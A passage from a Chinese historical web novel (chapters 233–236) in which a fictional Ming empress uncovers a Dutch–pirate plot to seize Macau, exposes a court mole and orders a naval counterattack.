谢凤卿听着萧御条分缕析,心中的躁动与焦虑渐渐平息,被一种冷静的决断所取代。是的,不能乱。越是危急时刻,越需冷静。荷兰人虽强,但并非无懈可击。四海商盟虽狡,但内部并非铁板一块。俞大猷、陆文渊、沈炼、朱影,皆是能臣干吏,只要给予他们明确的方略和足够的支持,未必不能打开局面。 “就依此计。”她深吸一口气,提笔铺纸,“拟旨,不,拟密旨给俞大猷。准其所请‘外示强硬,内紧筹备,拖延周旋,寻机破敌’之策。授予其全权,处理与荷兰人谈判事宜。原则如下:一,可允正常贸易,按新定税率纳税;二,拒绝任何形式割地、建堡、驻军;三,拒绝给予独家贸易特权;四,严禁传教士自由传教。其余细节,可由其与陆文渊临机决断。底线是,绝不容许荷兰武装船只长期滞留珠江,威胁广州。命其借谈判之机,加紧整军,肃清内奸,探查敌情,等待时机。朝廷会全力支持钱粮、军械。再告之沈炼、朱影,务必查明荷兰人与四海商盟,特别是‘黑蛟帮’之具体勾结情形,若有实证,或可加以利用。必要时,可尝试接触其他西洋势力,以为牵制。” 她笔下不停,字字千钧:“告诉俞大猷,海疆之事,朕全权托付于他。望他不负朕望,不负将士鲜血,不负东南百姓!但有所需,六百里加急奏报,朕无有不允!但有所成,朕不吝封侯之赐!但若……有辱国体,丧师失地……朕的尚方宝剑,亦不留情!” 写完密旨,用上九龙玉佩印鉴,火漆封好。她将密旨交给萧御,疲惫地揉了揉眉心,望向窗外。天色已近黄昏,夕阳的余晖将天际染成一片凄艳的暗红色,如同凝固的血。 “北边,戎狄那边,有什么新动静?”她忽然问道,声音带着一丝不易察觉的沙哑。东南未平,北疆又起波澜,这江山,果然没有一刻安宁。 第233章好一个烛龙 萧御神色一凛,低声道:“据北镇抚司和边关急报,鞑靼土默特部、察哈尔部近日异动频繁,频繁会盟,掳掠边墙小规模冲突陡增。似乎……在酝酿更大的动作。兵部已命宣大、蓟辽各镇加强戒备。但今春北地干旱,草场不丰,胡虏为生存,南下劫掠之心恐更盛。需早做防备。” 谢凤卿闭上眼,深深吸了一口气,又缓缓吐出。东南海寇,西洋夷人,北疆戎狄,河工水患,新政阻力……千头万绪,如一张无形的大网,从四面八方笼罩而来,压得人喘不过气。 但她不能倒下。她是皇帝,是这个庞大帝国此刻唯一的支柱。 “拟旨,命兵部、户部,统筹北疆防务,加固边墙,整训兵马,囤积粮草。令宣大总督、蓟辽总督严防死守,若有失地,提头来见!新税之银,优先保障边关与东南!”她的声音重新变得清晰、坚定,带着一种不容置疑的力量,“告诉北疆诸将,朕的眼睛,盯着东南,也盯着北边!四海未靖,朕,寝食难安!” 萧御肃然领命:“是!” 望着萧御离去的身影,谢凤卿独自立于逐渐暗淡下来的御书房中。窗外,最后一丝天光被夜幕吞没,宫灯次第亮起,在深沉的暮色中,如同飘摇的、倔强的星火。 前路漫漫,危机四伏。但既然选择了这条路,她便只能,也必须,走下去。用她的智慧,她的意志,她的狠绝,甚至她的生命,为这个内忧外患的帝国,劈开一条生路。 凤翔元年,注定是一个多事之秋。而风暴,似乎才刚刚开始聚集。 凤翔元年的夏夜,闷热而粘稠,无风。乾元宫御书房内,巨大的冰山在角落缓缓融化,散发着丝丝凉意,却驱不散弥漫在空气中的凝重与压抑。烛火将谢凤卿伏案的身影拉得细长,投在身后那幅巨大的、绘制精细的东南沿海与南洋舆图上,随着烛光摇曳,仿佛那道孤影也在与图上蜿蜒的海岸线、星罗的岛屿一同不安地晃动。 自接到俞大猷那封沉甸甸的密报,已过去五日。这五日,对谢凤卿而言,每一刻都像是在炭火上煎熬。她批复了给俞大猷的密旨,授权其“外示强硬,内紧筹备,拖延周旋,寻机破敌”,也紧急调配了钱粮、军械,严令兵部、工部、户部全力配合东南。一道道指令如同离弦之箭,从紫禁城射向东南,射向北疆,射向帝国的各个角落。 然而,等待回音的时间,分外难熬。她几乎不眠不休,批阅着雪片般飞来的奏章,有东南沿海州县报来的零星骚乱,有广东水师整顿中遇到的阻力,有北疆边关越来越频繁的小规模冲突急报,也有各地推行新税制、清丈田亩中爆发的、或大或小的“民变”(背后往往有地方豪强煽动)。她像一尊不知疲倦的玉雕,端坐于御案之后,朱笔如刀,在一份份奏章上留下或准或驳、或褒或贬、或杀伐决断的批示。流云和高无庸侍立一旁,连大气都不敢喘,看着陛下眼下的青影一日深过一日,心中焦虑不已,却不敢多劝一字。 窗外,夜色如墨,更漏声声,已近子时。 忽然,一阵极其轻微、却迅疾如风的脚步声,由远及近,打破了御书房外死一般的寂静。那脚步声带着一种训练有素的轻盈与急促,是影卫传递最紧急情报时特有的节奏。 谢凤卿手中的朱笔骤然一顿,一滴饱满的朱砂“啪”地滴落在奏章上,迅速晕开一小团刺目的红,如同不详的血迹。她缓缓抬起头,目光如电,射向紧闭的殿门。 几乎同时,殿门被无声推开一道缝隙,萧御的身影闪了进来。他依旧穿着那身便于行动的靂青色常服,但神色间却带着一种前所未有的凛冽与沉重,甚至……有一丝极力压抑的惊怒。他手中紧攥着一份比之前任何密报都要单薄、却被特殊火漆多层密封的纸卷,那火漆的颜色,是影卫系统中代表“十万火急、最高机密”的暗红。 “陛下!”萧御几步抢到御案前,甚至来不及行礼,声音因急促而微微发哑,带着一丝难以置信的寒意,“广州,八百里加急,影卫‘朱雀’堂主朱影,冒死传出的绝密线报!” 谢凤卿的心猛地一沉,仿佛被一只无形的手狠狠攥住。她没有说话,只是伸出手。指尖冰凉。 萧御将那份轻飘飘、却重如千钧的纸卷双手呈上。谢凤卿迅速拆开那复杂的火漆封印,展开。纸卷上字迹极小,却工整清晰,是朱影的笔迹,显然是在极其紧迫危险的情况下匆匆写成: “臣朱影,冒死密奏:四月廿八,夜。俞帅、陆大人与红毛夷‘甲必丹’普特曼斯、范·迪门于广州城外河南岛临时设帐‘谈判’。夷酋气焰嚣张,重申前议,并增无理要求:赔偿虎门炮击‘损失’白银十万两,立即交出杀害其‘探险队员’(实为海盗)之凶手,否则将炮轰广州外城。俞帅严词驳斥,谈判陷入僵局。散会后,臣奉命暗中监视夷酋及随行通译(疑似闽人,与四海商盟有关)。发现其通译深夜秘密潜出夷船驻地,于荔枝湾码头与一黑衣蒙面人短暂接触,交接一物后迅速分开。臣追踪蒙面人至西关一豪商宅邸,此宅乃前粤海巨商何氏别业,何家与四海商盟‘翻江鳄’陈三魁素有勾结,已于月前被查抄,目前空置。臣潜入查探,于密室中发现尚未销毁之信函残片及海图一张。信函为夷文与汉字夹杂,经沈炼连夜破译,其内容……” 写到这里,字迹明显更加急促凌乱:“……信函乃红毛夷‘甲必丹’普特曼斯与四海商盟‘黑蛟帮’首脑‘龙王’之密约抄本!约定:红毛夷舰队炮击广州,制造恐慌,牵制朝廷水师主力;‘黑蛟帮’则趁乱集结主力,于五月初五子夜,突袭并夺取澳门!” “澳门?!”谢凤卿瞳孔骤然收缩,一股寒气从脊椎直冲头顶!澳门(濠镜澳)此时虽被葡萄牙人以租借名义窃据,但主权名义上仍属大明,是西洋人在远东最重要的贸易据点之一,也是荷兰垂涎已久、意欲夺取的目标!若澳门落入与荷兰人勾结的“黑蛟帮”之手,则荷兰人将获得一个进可攻、退可守的坚固基地,彻底掌控珠江口外海,切断广州与外海联系,东南海疆局势将彻底崩溃! 她强压住心头惊骇,继续往下看,朱影的字迹已近乎狂草:“……海图标注‘黑蛟帮’主力集结地——大星簪(今香港大屿山附近)锚地,及计划进攻澳门之详细路线、接应点。更可怖者,信中提到,朝廷内部有高位者,代号‘烛龙’,与‘龙王’早有联络,此次夷狄发难、商盟夺澳,皆有‘烛龙’暗中策应,提供朝廷内部情报、拖延援军、甚至……或于京城制造事端,牵制陛下!‘烛龙’身份成谜,信未明言,然其能知朝廷中枢动向,位必不低!此情报关系社稷存亡,臣不敢擅专,亦恐信道有失,故分路急报。俞帅、陆大人已得悉,正紧急筹划应变。然敌情汹汹,内奸未明,东南危殆!乞陛下速断!臣朱影,以死明志!” 纸卷最后,是几个歪斜的、暗红色的字迹,确是用鲜血匆匆写成,触目惊心:“信使途中遇截杀,恐有内鬼知情报已泄。陛下保重!” 谢凤卿捏着纸卷的手指,因过度用力而骨节发白,微微颤抖。御书房内,死一般的寂静,只有烛火偶尔爆出的“噼啪”声,以及她自己越来越清晰、越来越沉重的心跳声。一股冰冷的、带着铁锈味的愤怒与后怕,如同毒蛇,缠绕上她的心脏,越收越紧。 荷兰人兵临城下是幌子!四海商盟真正目标,是夺取澳门,与荷兰人里应外合,彻底卡死东南咽喉!而朝廷内部,竟隐藏着代号“烛龙”、能与“龙王”直接联络、位居高位的内奸!此人能量之大,竟能影响朝廷中枢决策,甚至可能在京城制造事端! “好一个‘烛龙’!好一个里应外合!好一招明修栈道,暗度陈仓!”谢凤卿的声音嘶哑冰冷,仿佛从齿缝间挤出,每一个字都带着凛冽的杀意,“朕还真是小瞧了这些魑魅魍魉!竟将手,伸到朕的朝堂上来了!” “陛下!”萧御脸色亦是难看至极,眼中寒光暴射,“此事千钧一发!‘黑蛟帮’计划五月初五子夜动手,今日已是四月三十!留给俞大猷的时间,不足五日!且澳门兵力薄弱,守将平庸,绝难抵挡‘黑蛟帮’主力突袭!一旦澳门有失,珠江口外海尽入敌手,广州成为孤城,东南危矣!更可虑者,内奸‘烛龙’潜伏之深,竟能知晓此等核心机密,其人在朝中地位必然不低,且掌兵部、通政司或内阁机要!若不尽快揪出,后患无穷!” 第234章望他……不负此战 “朕知道。”谢凤卿霍然起身,在御案前来回疾走,玄色常服的下摆带起一阵冷风,“澳门绝不能失!‘烛龙’必须挖出来!但眼下,最急的是澳门!俞大猷手中,广东水师新败(海澄号)未振,内奸未肃清,战船未修,火炮未齐,如何能在五日内,应对荷兰舰队牵制,并分兵驰援澳门,击败以逸待劳、蓄谋已久的‘黑蛟帮’主力?” 她猛地停下脚步,目光如炬,看向萧御:“福建水师!浙江水师!俞大猷有节制五省水师之权!立刻传朕密旨,命俞大猷,不惜一切代价,稳住荷兰人,哪怕暂时虚与委蛇,做出让步假象!同时,以巡阅使之名,急令福建水师提督胡守仁、浙江水师提督卢镗,各率本省水师最精锐之战船、火炮、水卒,星夜兼程,秘密南下,限五月初四前,抵达大星簪外海指定海域集结,归俞大猷统一指挥!告诉胡守仁、卢镗,此乃国战,敢有迟延误事者,立斩!家眷押送京师为质!” “是!”萧御记下。 “再令俞大猷,借谈判拖延之机,以雷霆手段,彻底清洗广东水师!凡有通匪嫌疑、贪墨渎职、怯战畏敌之将领,无论官职高低,有确凿证据者,可持尚方宝剑,即刻锁拿,就地处决,以正军法,震慑宵小!空出之位,由俞大猷从福建、浙江带来的将领及广东水师中忠诚敢战者火速递补!务必在援军到达前,初步掌控广东水师,形成战力!” “命沈炼、朱影,继续深挖内奸线索,尤其是与‘烛龙’可能有关的蛛丝马迹。夷酋通译接触的蒙面人,所去何宅,必有更多线索,务必查清!同时,设法接触澳门葡萄牙守军,示警,或可许以重利,令其死守待援,至少拖延‘黑蛟帮’进攻步伐!” 谢凤卿语速极快,思路却清晰无比,一条条指令脱口而出,带着破釜沉舟的决绝:“朝廷这边,即刻以六百里加急,明发圣旨至广东、福建、浙江巡抚、布政使,命其全力筹措粮草、火药、赏银,支援水师,若有怠慢,同罪!再密令南直隶、山东水师,提高戒备,随时准备策应!” 她走回舆图前,手指重重地点在“大星簪”和“澳门”的位置,眼中寒光凛冽:“这一战,关键在于快,在于秘,在于狠!要打,就打他个措手不及!俞大猷是朕选的刀,胡守仁、卢镗是他的刃!朕要这把刀,在五月初五,狠狠地砍下去,将‘黑蛟帮’伸向澳门的爪子,连根斩断!将红毛夷的嚣张气焰,彻底打下去!” “陛下英明!”萧御精神一振,但随即眉头又锁,“然,京城之内,‘烛龙’未明,其若知陛下已悉其谋,狗急跳墙,恐生大变。尤其五月初五将至,其信中言‘或于京城制造事端’,不可不防。” 谢凤卿冷笑一声,那笑容里没有一丝温度:“朕正要他跳!他不跳,朕如何抓他?传令影卫、监察司、五城兵马司、锦衣卫,自即日起,京城进入最高戒备状态!严密监控所有三品以上官员府邸,尤其是与兵部、户部、工部、通政司、内阁有关联者,以及所有可能与东南海贸、西洋夷人、走私势力有来往的勋贵、皇亲、巨商!凡有异动,可疑通信,私下密会,一律报朕!再密调三千神机营精锐,暗中入卫皇城,归你直接统领,没有朕的手谕,任何人不得调动一兵一卒!” 她顿了顿,眼中闪过一丝狠厉:“至于朝会……明日大朝,照常举行。朕倒要看看,是谁,坐不住!” “臣,领旨!”萧御单膝跪地,抱拳领命,眼中燃烧着熊熊战意与冰冷的杀机。东南海疆,京城暗流,两处战场,皆已到了图穷匕见、你死我活的地步! “还有,”谢凤卿叫住他,声音放缓了些,却带着更深的凝重,“派最得力的影卫,持朕金牌,昼夜兼程,南下传旨。告诉俞大猷,朕将东南乃至国运,托付于他。望他……不负此战,不负此身,更不负,这万里江山!” “是!” 萧御匆匆离去,身影迅速融入浓稠的夜色。谢凤卿独自立于巨大的舆图前,久久未动。烛火将她孤独而挺拔的身影,投在象征帝国疆域的图卷上,仿佛要与那蜿蜒的海岸、无垠的海洋融为一体。窗外,更深露重,紫禁城沉睡在无边的黑暗与寂静之中,但风暴,已在地平线下隆隆滚动,即将撕裂这虚假的安宁。 凤翔元年的初夏,一场决定帝国东南命运、乃至撬动整个国运的海上决战,与一场潜伏在帝国心脏、关乎最高权力归属的暗战,即将同时拉开血腥的序幕。 翌日,五月初一,大朝会。 天色未明,承天门外已是一片肃杀。经过昨夜秘密调遣,皇城各门守卫明显增加,且皆是生面孔的精锐甲士,目光锐利,盘查严格。前来上朝的官员们敏锐地察觉到了不同寻常的气氛,相互交换着惊疑不定的眼神,低声议论着,却无人敢高声。许多人心头都蒙上了一层阴影,尤其是那些心中有鬼、或与东南利益有所牵连者,更是惴惴不安,脚步都沉重了几分。 辰时,钟鼓齐鸣,百官入朝。 谢凤卿高坐龙椅,冕旒垂珠,遮住了大半面容,只露出一双沉静如寒潭、却仿佛能洞悉一切的眸子。她平静地接受朝拜,听着各部例行奏事,神色如常,甚至比往日更多了几分难以言喻的淡漠。 然而,这份平静之下,是暗流汹涌。不少官员都注意到,今日御座之侧,除了惯例的内侍与侍卫,还多了一位身着亲王常服、按剑肃立的身影——监国亲王萧御。他罕见地出现在了朝会之上,且手按剑柄,目光如电,缓缓扫视着丹墀下的百官,那股无形的压迫感,让许多人下意识地避开了他的视线。 先是户部奏报新税制推行情况,提及扬州盐税大增,但东南市舶司因红毛夷封锁珠江口,税收锐减。接着是兵部奏报北疆军情,言戎狄异动频繁,边关小规模冲突加剧,请增拨粮饷军械。工部奏报黄河、淮河几处险工,需紧急拨款加固。桩桩件件,都是要钱、要粮、要兵,且形势似乎都在恶化。 当通政司呈上最新收到的、来自广东巡抚的“寻常”奏报(言红毛夷仍泊于珠江口,谈判僵持,请朝廷示下)时,朝堂之上,微妙的气氛终于被打破。 “陛下!”内阁次辅、兼礼部尚书高拱,出列奏道。他面色肃穆,声音洪亮,“红毛夷恃强凌弱,兵临城下,勒索无度,实乃藐视天朝,其心可诛!然广东水师新败,战守皆难。臣闻,夷酋所求,不过通商之利。我天朝上国,富有四海,怀柔远人,向有定制。若能稍许其利,令其退兵,保东南安宁,使市舶重开,岁入不损,百姓免遭兵燹,岂不两全?何必争一时意气,致东南糜烂,动摇国本?臣恳请陛下,以社稷苍生为念,速定和议,遣使抚慰,令其退兵。至于些许商利细节,大可徐徐图之。” 高拱是北方清流领袖,向来以直言敢谏、顾全大局著称。他这番话,看似老成谋国,实则与之前朝堂上“主抚派”的论调一脉相承,且将“东南糜烂、动摇国本”的大帽子隐隐扣在了主战派头上。 他话音未落,新任兵部左侍郎、原蓟镇总兵马芳(以骁勇善战闻名,刚被调入京师)便猛地出列,声如洪钟:“高阁老此言差矣!红毛夷船坚炮利不假,然其远涉重洋,劳师远征,所恃者一时之凶焰耳!我大明带甲百万,战船数千,岂惧区区数艘夷船?广东水师一时受挫,乃因内奸作祟、武备废弛所致,非战之罪!俞大猷将军乃百战名将,陛下已委以全权,正宜整军经武,寻机破敌!此时若行安抚退让,非但不能令其知足而退,反使其窥见我朝软弱,日后必得寸进尺,其他西洋夷人亦将蜂拥而至,步步紧逼!届时,东南门户洞开,海疆永无宁日,才是真正动摇国本!末将以为,当严旨俞大猷,限期破敌!并请调北地精锐边军南下,水陆夹击,务必全歼来犯之敌,扬我国威,震慑四夷!” 马芳是武将,说话直来直去,充满血气,立刻引起了部分少壮派官员和武将的共鸣,纷纷出声附和。 “马侍郎所言甚是!夷狄畏威而不怀德,唯有迎头痛击,方能保境安民!” “广东水师糜烂,正需一场大胜重振士气!岂可未战先怯?” 高拱面色一沉,正要反驳。这时,都察院右都御史、出身江南士绅大族的钱一本,缓缓出列。他年约五旬,面容清癯,三缕长髯,气质儒雅,但眼神却透着精明与算计。他先向御座躬身一礼,然后不疾不徐地开口,声音不高,却清晰地传入每个人耳中: 第235章海疆未靖,内鬼已生 “马侍郎忠勇可嘉,然拳拳报国之心,亦需审时度势。红毛夷之祸,在于海上。然我朝心腹之患,何在?”他顿了顿,目光扫过全场,最后落在御座之上,语气加重,“在于北疆戎狄!今春北地大旱,草场枯焦,胡虏为求生计,必大举南下!宣大、蓟辽,烽燧日传警讯,此乃社稷安危所系,万万轻忽不得!东南红毛夷,不过疥癣之疾;北疆胡虏,方是肘腋之患!朝廷钱粮有限,兵马有数,岂可舍本逐末,将精锐、粮饷尽耗于海上,而置北疆百万生民、千里边防于不顾?若因东南战事,致使北疆有失,胡马南下,蹂躏京畿,则悔之晚矣!臣以为,当以北疆为重,东南之事,宜从速安抚,腾出手来,全力应对北虏!” 钱一本此言一出,朝堂之上顿时一片哗然!他将东南战事直接定性为“疥癣之疾”,将主战派置于“舍本逐末”、“不顾北疆”的道德劣势,其言论之尖锐,立场之鲜明,远超之前高拱的“抚慰”之说。更关键的是,他出身江南,家族与海贸利益密切相关,此刻却大谈“北疆为重”,其用意,耐人寻味。是真心为国谋划,还是以“北疆”为幌子,行“安抚东南”、保护其家族海贸利益之实?亦或是……受了某些更深层势力的暗示或指使? 许多官员的目光,不由自主地瞟向御座之侧肃立的萧御,又迅速收回。萧御执掌影卫,监察天下,对官员背景了如指掌。钱一本此刻跳出来,其背后是否与那神秘的“烛龙”有关? 谢凤卿端坐御座,冕旒下的目光平静无波,仿佛在听一场与己无关的辩论。直到钱一本说完,朝堂上议论声稍歇,她才缓缓开口,声音透过珠玉摇曳的间隙传来,听不出喜怒: “钱爱卿忧国之心,朕已知晓。北疆戎狄,确为心腹之患,朕从未有一日或忘。然,”她话锋一转,语气依旧平淡,却带着一种无形的重量,“疥癣之疾,若不及早根治,亦能溃烂肌肤,深入骨髓,乃至要人性命。红毛夷今日敢炮击虎门,兵临广州,勒索无度;明日,其联合海寇,便可夺我澳门,锁我珠江,断我海路。届时,东南财赋重地尽失,漕运受阻,南北隔绝,朝廷税源枯竭,拿什么去养北疆百万大军,御胡虏于国门之外?皮之不存,毛将焉附?” 她微微向前倾身,目光似乎穿透冕旒,落在钱一本脸上:“爱卿言朝廷钱粮兵马有限,此乃实情。正因其有限,才更需用在刀刃上。何为刀刃?保东南海疆,即是保朝廷财源,保南北通畅,保天下安定之基石!此非舍本逐末,乃固本强基!俞大猷在东南整军,胡守仁、卢镗率福建、浙江水师南下,正是为了以最小代价,最快速度,斩断来犯之敌的爪子,永绝后患!待东南靖平,海路畅通,市舶之利源源而入,何愁无钱粮巩固北疆?” 她顿了顿,声音转冷:“至于有人担忧,朝廷精锐尽在东南,北疆空虚……朕可以告诉诸位,北疆诸镇,朕已严旨加固,整军备战。宣大总督王崇古,蓟辽总督谭纶,皆是久经沙场的老将,朕信得过他们。且,”她目光扫过武将班列,“神机营、三千营、五军营,朕之京营精锐,犹在京师,枕戈待旦。胡虏若敢来,朕必亲率六师,迎头痛击,使其有来无回!” 这番话,条理清晰,立场坚定,既驳斥了“疥癣之疾”论,强调了东南的重要性,又安抚了北疆的担忧,展现了朝廷的底气与决心。更关键的是,她透露了“胡守仁、卢镗率福建、浙江水师南下”的信息!此言一出,满朝皆惊! 福建、浙江水师南下?这是何时的事?陛下竟已暗中调动了两省水师精锐?这意味着,朝廷对东南战事,绝非“抚慰”了事,而是早有决断,布局已深!那些主抚派、以及可能暗中与四海商盟或荷兰人有牵扯的官员,心中顿时掀起惊涛骇浪! 钱一本的脸色也变得有些难看,他显然没料到陛下会如此直接地透露军事调动,更没料到陛下的态度如此强硬坚决。他张了张嘴,还想再争辩什么。 就在这时,一直沉默立于御座之侧的萧御,忽然上前半步,冰冷的目光如同实质的刀锋,掠过钱一本,扫过在场每一个官员,最后落在通政使身上,沉声开口,声音不大,却带着金石之音,清晰地压过了所有细微的议论: “通政司,昨日酉时三刻,接收广东八百里加急军报后,至送达御前,中间经过几人之手?可有延误、抄录、或异常?” 通政使浑身一颤,慌忙出列,跪倒在地:“回……回王爷,昨日广东军报,由驿卒直送通政司,经当值右参议赵文华大人验看火漆签收,随即密封,由下官亲自送入宫中,交司礼监高公公,呈送御前。中……中间并无他人经手,亦无抄录延误。”他声音发颤,显然被这突如其来的质问吓到了。 “赵文华?”萧御目光如电,射向文官班列中一名面色瞬间惨白、身体微抖的中年官员,“你验看军报时,可曾拆阅?可曾与他人言及报中内容?” 赵文华扑通一声跪倒,以头抢地,声音抖得不成样子:“王……王爷明鉴!下官……下官只是例行验看火漆是否完整,绝……绝未拆阅!更……更不敢与他人言及!此乃通政司铁律,下官万万不敢违背啊!” “哦?未拆阅?”萧御冷笑一声,从袖中取出一张小小的、折叠的纸条,当众展开。纸条上只有寥寥数字,笔迹仓促:“俞已得密,援军将至,速决。” 他将纸条示于众臣,“此纸条,乃今日拂晓,于京师西市一名刚刚暴毙的‘海商’尸身暗袋中搜出。经查,此‘海商’实为四海商盟潜伏京师之眼线。而这字迹……”他目光如冰,盯着赵文华,“经辨认,与赵大人你平日批阅公文之字迹,一般无二!赵大人,作何解释?!” “轰——!” 朝堂之上,瞬间炸开了锅!无数道惊骇、难以置信、乃至幸灾乐祸的目光,齐刷刷射向瘫软在地、面如死灰的赵文华!通敌!泄露军机!而且是泄露给四海商盟!这可是诛九族的大罪! “不……不!冤枉!下官冤枉!”赵文华魂飞魄散,涕泪横流,嘶声喊道,“这……这定是有人栽赃陷害!下官从未写过此条!王爷明察!陛下明察啊!” “栽赃陷害?”萧御声音更冷,“那本王问你,昨日酉时三刻至戌时初,你身在何处?可有证人?” “下官……下官下值后,直接回了府中,未曾外出……府中管家、门子皆可作证……”赵文华语无伦次。 “回府之后呢?可曾接触过异常之人?收受过异常之物?” “没……没有……哦,对了!”赵文华像是抓住救命稻草,“戌时左右,门子报,有同乡故旧送来一盒‘家乡土仪’,下官未曾在意,让收入库房……” “土仪?”萧御眼中寒光一闪,厉声道,“来人!即刻搜查赵文华府邸库房,重点查那盒‘土仪’!再搜其值房、卧房,凡有书信、字纸、可疑物品,一并封存带来!着都察院、刑部、大理寺即刻派员,会同影卫、监察司,严审赵文华及其家眷、仆役!凡有牵连者,一律锁拿,不得走脱一人!” “遵命!”殿外,早已等候的影卫与刑部差役轰然应诺,脚步声迅疾远去。 朝堂之上,死一般的寂静。所有官员都噤若寒蝉,看着面如金纸、瘫软如泥的赵文华被如狼似虎的侍卫拖走,听着他渐行渐远的绝望哭嚎,心中寒气直冒。陛下和亲王,这是要动真格的了!而且,一出手就揪出了通政司的內鬼!赵文华官职不高,却是通政司右参议,能接触到各地紧急军报,其位置之关键,不言而喻。他是否就是“烛龙”?还是“烛龙”抛出的弃子、或是其下线? 钱一本的脸色已是难看至极,他方才还在大谈“北疆为重”、“东南安抚”,转眼间,朝廷就揪出了通敌泄露东南军机的内奸,这无疑是一记响亮的耳光,狠狠抽在了他的脸上,也抽在了所有“主抚派”和可能心怀叵测者的脸上!陛下对东南战事的决心,对肃清内奸的雷霆手段,已昭然若揭! 谢凤卿自始至终,端坐御座,面无表情地看着这一切。直到赵文华被拖走,喧嚣渐息,她才缓缓开口,声音依旧平静,却带着一种不容置疑的威严与冰冷杀意: “众卿都看到了。海疆未靖,内鬼已生。有人吃着朝廷的俸禄,却做着资敌卖国的勾当!将前线将士的鲜血,当成他们换取私利的筹码!此等行径,天理难容,国法难恕!” 第236章是否太过冒险 她目光缓缓扫过下方垂首肃立的百官,尤其是在几个方才言辞闪烁、或与赵文华、钱一本过往甚密的官员脸上稍作停留,继续道:“东南战事,关乎国运,朕意已决,再无更改!俞大猷在前方整军备战,胡守仁、卢镗的援军已在路上。朕在京城,倒要看看,还有哪些魑魅魍魉,敢再伸爪子!传朕旨意:自即日起,凡有再言‘安抚’、‘退让’,扰乱军心,或暗中与敌通联,泄露军机者,无论官职高低,无论出身何处,一律以谋逆论处,立斩不赦,株连九族!朕,说到做到!” “退朝!” 这一次,山呼万岁的声音,带着前所未有的战栗与恐惧。百官退出金銮殿时,许多人腿脚发软,背后已被冷汗浸透。他们知道,从今日起,京城的天,真的要变了。一场席卷朝堂、揪出内奸、肃清环境的暴风雨,已然随着东南海上的战云,一同降临。 谢凤卿起身,在萧御的随侍下,离开金銮殿。走出殿门的刹那,清晨的阳光有些刺眼。她微微眯起眼,望向东南方向的天际。那里,云层厚重,仿佛酝酿着雷霆。 五月初五,快到了。 俞大猷,胡守仁,卢镗……朕的将士们,朕的刀,你们,准备好了吗? 几乎在同一时刻,数千里之外的东南海疆,气氛紧张得如同拉满的弓弦。 珠江口外,零丁洋上,五艘体型庞大、桅杆高耸、船体漆黑、船舷侧密密麻麻排列着炮窗的荷兰盖伦战舰,如同五头狰狞的巨兽,静静地泊在波涛之中。最大的一艘旗舰“赫克托”号上,绘有荷兰东印度公司VOC标志的旗帜在海风中猎猎作响。甲板上,穿着笔挺军服、留着浓密胡须的荷兰舰队司令官科内利斯·普特曼斯,正举着一支单筒望远镜,仔细地观察着远处虎门方向依稀可见的炮台轮廓,以及更远处广州城模糊的剪影。他嘴角噙着一丝傲慢与不耐烦的冷笑。 “这些明朝人,就像钻进壳里的乌龟,只知道拖延时间。”他放下望远镜,对身旁的副官范·迪门说道,“谈判毫无进展,他们既不答应我们的条件,也不敢真正开战。难道他们以为,靠那几门老掉牙的火炮,和那些像舢板一样的小船,能挡住‘赫克托’的炮弹?” 范·迪门谨慎地提醒:“司令官阁下,明朝是一个庞大的帝国,我们不能掉以轻心。而且,我们得到‘龙王’的消息,明朝皇帝似乎派来了新的指挥官,还从其他省份调集了水师……” “那又如何?”普特曼斯不以为然地挥挥手,“明朝的水师,我们在巴达维亚(今雅加达)见得多了,不堪一击。‘龙王’答应我们的事情,进行得怎么样了?澳门,什么时候能拿到手?” “据最新密报,‘龙王’的主力已在大星簪集结完毕,只等五月初五子夜,潮水合适,便会发动突袭。澳门葡萄牙人兵力薄弱,守将无能,猝不及防之下,必可一举而下。”范·迪门道,“届时,我们便可凭借澳门,与‘龙王’合作,彻底控制珠江口。明朝皇帝若识相,就不得不答应我们所有条件。” “很好。”普特曼斯满意地点点头,“那就让明朝的谈判官再拖延两天吧。等我们拿到了澳门,看他们还拿什么来谈!传令各舰,保持戒备,没有我的命令,不许擅自开炮,但也要让明朝人看到我们的利齿!派人再去催促明朝谈判官,最晚后天,必须给我们明确答复,否则,我们将视其为拒绝,采取‘必要措施’!” “是,司令官阁下!” 然而,无论是傲慢的普特曼斯,还是深藏幕后的“龙王”,都未能察觉到,一张无形的大网,正悄然向他们收紧。 广州城,钦差行辕。 气氛凝重得仿佛能滴出水来。俞大猷、陆文渊、沈炼、朱影,以及刚刚秘密抵达的福建水师提督胡守仁、浙江水师提督卢镗,围在一张巨大的海图前。海图上,清晰地标注着荷兰舰队的位置、四海商盟“黑蛟帮”主力在大星簪的锚地、预定的进攻澳门路线,以及福建、浙江水师秘密南下的航线与集结位置。 俞大猷一身便服,但腰杆挺得笔直,花白的须发在海图的灯光映照下,如同根根银针。他目光锐利如鹰,手指重重地点在大星簪的位置,声音沉凝:“红毛夷泊于外洋,以炮舰相胁,实为牵制。‘黑蛟帮’匿于大星簪,蓄势待发,意在澳门。其计不可谓不毒。然,朱影、沈炼二位冒死取得其密谋,陛下圣断,胡、卢二位将军率精锐及时来援,此乃天佑大明,亦是我等建功立业、报效国家之机!” 胡守仁年约四旬,面容黝黑粗糙,是俞大猷的老部下,同样以悍勇善战著称,闻言抱拳道:“大帅!末将率福建水师主力福船、苍山船、海沧船等大小四十八艘,装备佛郎机、碗口铳百余门,精兵三千,已秘密抵达珠江口外万山群岛隐蔽待命,将士们求战心切,就等大帅一声令下!” 卢镗稍年轻些,气质更显沉稳,接口道:“末将所率浙江水师,乌艚、哨船等三十余艘,亦已到位。红毛夷船虽巨炮利,然其船大笨重,转向不灵,尤惧火攻与近战接舷。我闽浙水师船小速疾,熟悉水文,若利用夜色、大雾,或可近身破敌。” 俞大猷点点头,目光扫过众人:“陛下密旨,命我等‘外示强硬,内紧筹备,拖延周旋,寻机破敌’。如今,敌谋已泄,援军已至,破敌之机,就在眼前!然,此战关键在于,既要阻止‘黑蛟帮’夺取澳门,又需重创甚至歼灭来犯之红毛夷舰队,至少将其逐出珠江口,方可一劳永逸,震慑西夷,靖清海疆!” 他顿了顿,手指在海图上划出几条线路:“故此,本帅决意,分兵两路,同时出击!” “第一路,由胡守仁将军为主将,卢镗将军副之,统率闽浙水师主力,并广东水师挑选出的敢战之船、精锐水卒,合计战船近百艘,水师官兵五千余人。于五月初四深夜,借夜色与潮汐,秘密潜行至大星簪外海设伏。待五月初五子夜,‘黑蛟帮’舰队倾巢而出,前往澳门之时,从其侧翼或后方突然发起猛攻!打他个措手不及!此路之要,在于隐、在于快、在于狠!务必将其主力击溃于海上,使其无力进攻澳门!若有可能,擒杀其魁首‘龙王’!” 